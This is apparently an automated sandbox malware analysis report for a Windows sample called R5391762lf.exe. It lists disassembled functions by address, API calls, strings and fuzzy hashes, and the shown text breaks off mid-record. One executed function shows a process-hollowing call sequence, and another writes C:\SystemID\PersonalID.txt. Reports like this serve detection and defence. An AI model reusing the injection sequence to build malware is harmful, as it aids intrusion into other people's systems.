Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: ffed77c080250ae2583383aff60ac529a7d795f04217b2300335db8e62a0495e
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: ffed77c080250ae2583383aff60ac529a7d795f04217b2300335db8e62a0495e
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: 15efe7b0d4d7874f7dd22875512a907af6cda9244190f26b3c782714bcca198f
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: 15efe7b0d4d7874f7dd22875512a907af6cda9244190f26b3c782714bcca198f
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: R5391762lf.exePID: 7500, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05DB0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DB0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DB016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DB0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DB0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DB0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DB029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DB02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DB02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DB0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DB032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DB0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DB03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DB03E1
ResumeThread.KERNELBASE(00000000), ref: 05DB03ED
ExitProcess.KERNEL32(00000000), ref: 05DB0412

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 4563740905336986722a392f6b574cec2ef0bfbcf4b7fec3dd2171ae5dc0303f
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 29B1C674A00208EFDB44CF98C895F9EBBB6BF88314F248158E549AB391D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05DB0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DB0533

Strings

0, xrefs: 05DB0492
mfoaskdfnoa, xrefs: 05DB0520, 05DB0523
d, xrefs: 05DB0584
saodkfnosa9uin, xrefs: 05DB04DA

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5abc9f8540499553e873b16498714316a8ebb6f9770389740c51b8a94e254b63
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D2512970D08388DAEB11CB98C849BEEBFB2AF11708F144059D5456F2C6C3FA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DB05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DB05EC

Strings

apfHQ, xrefs: 05DB05E2, 05DB05E5
o, xrefs: 05DB0600

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 24dc9828f43f32230e55de61ef8be02ddc69f6f6dfa43a7f6e69498e13dca0a1
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4A011E70C0424CEBEB10DB98C5187EEBFB6AF41308F148099C44A2B241D7B69B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 044567C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044567EE
Module32First.KERNEL32(00000000,00000224), ref: 0445680E

Memory Dump Source

Source File: 00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp, Offset: 04456000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4456000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 772c833b66e553e546d538e84137339d0021d024122ee405641923d8869a31ce
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 01F096312007106FDF203FF5A98DB6FB6E8AF49725F51052AEA4A911D1DB70F8854A61

Uniqueness

Uniqueness Score: -1.00%

Function 04456485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044564D6

Memory Dump Source

Source File: 00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp, Offset: 04456000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4456000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a7ee8aa0f09ccdf85b424fa2b449620bfbc0bb75ef1429b022ae13a8c54cb1ee
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 71113C79A40208EFDF01DF98C985E99BBF5AF08350F468095F9489B362D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05DD6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05DD644E

Part of subcall function 05DD9636: __calloc_impl.LIBCMT ref: 05DD9645

__calloc_crt.LIBCMT ref: 05DD6472
_free.LIBCMT ref: 05DD6480
__calloc_crt.LIBCMT ref: 05DD648E
_free.LIBCMT ref: 05DD649E
_free.LIBCMT ref: 05DD64A4
__copytlocinfo_nolock.LIBCMT ref: 05DD64B3
__setmbcp_nolock.LIBCMT ref: 05DD64D4
_free.LIBCMT ref: 05DD64E2
___removelocaleref.LIBCMT ref: 05DD64E9
___freetlocinfo.LIBCMT ref: 05DD64F0
_free.LIBCMT ref: 05DD64F6

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: db8084cf33d6bcd19955e2eae3201d19ebc8e4e8141a60d5abbe20cd0ef95ff5
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 3D21AE31208601EAEB317FA5DC09E6BFBE5EF417A0B50812BF586550A0EB22C550CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DD3F51

Part of subcall function 05DD5BA8: __getptd_noexit.LIBCMT ref: 05DD5BA8

__gmtime64_s.LIBCMT ref: 05DD3FEA
__gmtime64_s.LIBCMT ref: 05DD4020
__gmtime64_s.LIBCMT ref: 05DD403D
__allrem.LIBCMT ref: 05DD4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DD40AF
__allrem.LIBCMT ref: 05DD40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DD40E4
__allrem.LIBCMT ref: 05DD40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DD4119
__invoke_watson.LIBCMT ref: 05DD418A

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7bb5dfaf389824696912e431a1d186f16e4d88a6b618473a27379d7400e9be13
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7F71E671B01B16ABEB14AE79CC49B6AF3B9FF00664F14463BE514D7680E7B0D94087B0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05DD6547
__calloc_crt.LIBCMT ref: 05DD6598
__lock.LIBCMT ref: 05DD65AE
__copytlocinfo_nolock.LIBCMT ref: 05DD65BF
_wcscmp.LIBCMT ref: 05DD65F9
__lock.LIBCMT ref: 05DD6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05DD6622
___removelocaleref.LIBCMT ref: 05DD6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05DD6647

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 038154e97687c2c7cb4337e73dd4a48ec2990e8b0fb4e6a3e80d528dc928c8c8
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: EE41D332A04304AFDB10AFB4DD48B9EFBA5FF04314F10846BE91496191DBB6D544DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05DD84B1
_free.LIBCMT ref: 05DD84E2
_free.LIBCMT ref: 05DD84F5
_free.LIBCMT ref: 05DD8513
_free.LIBCMT ref: 05DD8525
_free.LIBCMT ref: 05DD8536
_free.LIBCMT ref: 05DD8541
_free.LIBCMT ref: 05DD8565
_free.LIBCMT ref: 05DD8581
_free.LIBCMT ref: 05DD8597
_free.LIBCMT ref: 05DD85BF

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 605327cc4387dd61b91475b4913b6940011570ade1ea9ac2a7ea73514675430b
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 9331A231A00250DBCF225F54FC84C59B7B4FB143A0745862BF905572A0CBB459C9EEB4

Uniqueness

Uniqueness Score: -1.00%

Function 05DFFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05DFFC1F

Part of subcall function 05DE169C: std::exception::_Copy_str.LIBCMT ref: 05DE16B5

__CxxThrowException@8.LIBCMT ref: 05DFFC34
std::exception::exception.LIBCMT ref: 05DFFC4D
__CxxThrowException@8.LIBCMT ref: 05DFFC62
std::regex_error::regex_error.LIBCPMT ref: 05DFFC74

Part of subcall function 05DFF914: std::exception::exception.LIBCMT ref: 05DFF92E

__CxxThrowException@8.LIBCMT ref: 05DFFC82
std::exception::exception.LIBCMT ref: 05DFFC9B
__CxxThrowException@8.LIBCMT ref: 05DFFCB0

Strings

leM, xrefs: 05DFFCA8

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: e2d90735a6694cb7831c23e098926421e3982bada3d81ad2da0f73dfee3f74b1
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: C611AA79E0020DBBCB00FFE5D499CDDBB7CEA04344F808567A91897641EB74A348CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DBF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DBF01F

Part of subcall function 05DD1602: __FF_MSGBANNER.LIBCMT ref: 05DD1619
Part of subcall function 05DD1602: __NMSG_WRITE.LIBCMT ref: 05DD1620

_malloc.LIBCMT ref: 05DBF02B
_wprintf.LIBCMT ref: 05DBF03E
_free.LIBCMT ref: 05DBF044
_free.LIBCMT ref: 05DBF065
_malloc.LIBCMT ref: 05DBF06D
_sprintf.LIBCMT ref: 05DBF0C0
_wprintf.LIBCMT ref: 05DBF0D2
_wprintf.LIBCMT ref: 05DBF0DC
_free.LIBCMT ref: 05DBF0E5

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 156db407c4b59347ca1d1e58606f241ca87886eec9a38a3251902eb05b9f62d3
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 6C1136B6A00550BAD261A7F54C19FFFBBECDF46302F0401ABFA8DD1180EA595A04D3B2

Uniqueness

Uniqueness Score: -1.00%

Function 05DC1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DC19C6
__CxxThrowException@8.LIBCMT ref: 05DC19F1
__CxxThrowException@8.LIBCMT ref: 05DC1A1A
__CxxThrowException@8.LIBCMT ref: 05DC1A4B
_memset.LIBCMT ref: 05DC1A6A
__CxxThrowException@8.LIBCMT ref: 05DC1A90
_malloc.LIBCMT ref: 05DC1AA0
_memset.LIBCMT ref: 05DC1AAB
_sprintf.LIBCMT ref: 05DC1ACE

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 1b350f72a53d5606237c5aef7134d784fc3b06fb829603da350bb31acab68fa7
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: A7511C71E40219BADB11DBE5DC89FAEBBB8FB04744F10002AF905F6290E7749A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DBF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DBF284
__CxxThrowException@8.LIBCMT ref: 05DBF2AF
__CxxThrowException@8.LIBCMT ref: 05DBF2DE
__CxxThrowException@8.LIBCMT ref: 05DBF30F
_memset.LIBCMT ref: 05DBF32E
__CxxThrowException@8.LIBCMT ref: 05DBF354
_sprintf.LIBCMT ref: 05DBF373

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 79bca959aa55bbc0c7d297e76e9b9a31815ae28e592cfc2b1af8b69b960bbe7a
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 53511171A40209FAEF11DFA5DC46FEEBB79EB04704F10412AF506B6180D6B5A6058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DBF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DBF4B7
__CxxThrowException@8.LIBCMT ref: 05DBF4E2
__CxxThrowException@8.LIBCMT ref: 05DBF504
__CxxThrowException@8.LIBCMT ref: 05DBF535
_memset.LIBCMT ref: 05DBF554
__CxxThrowException@8.LIBCMT ref: 05DBF57A
_sprintf.LIBCMT ref: 05DBF594

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 81c96210ec4c6a0cdc63f13d5cba6bc516bd1050a793a5d833c1429796a38f7a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 5D512371E40209AADF11DFA5DD85FFEBBB9FF04704F10012AF506B6180D674AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DF208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05DF20C6
__invoke_watson.LIBCMT ref: 05DF2120
_strlen.LIBCMT ref: 05DF20D4

Part of subcall function 05DD5BA8: __getptd_noexit.LIBCMT ref: 05DD5BA8

_strnlen.LIBCMT ref: 05DF215F
__lock.LIBCMT ref: 05DF2170
__getenv_helper_nolock.LIBCMT ref: 05DF217B

Memory Dump Source

Source File: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5db0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 879c894fef68e993557a8039a5ea1497698afb757fc0e29d13eeeac8c059c293
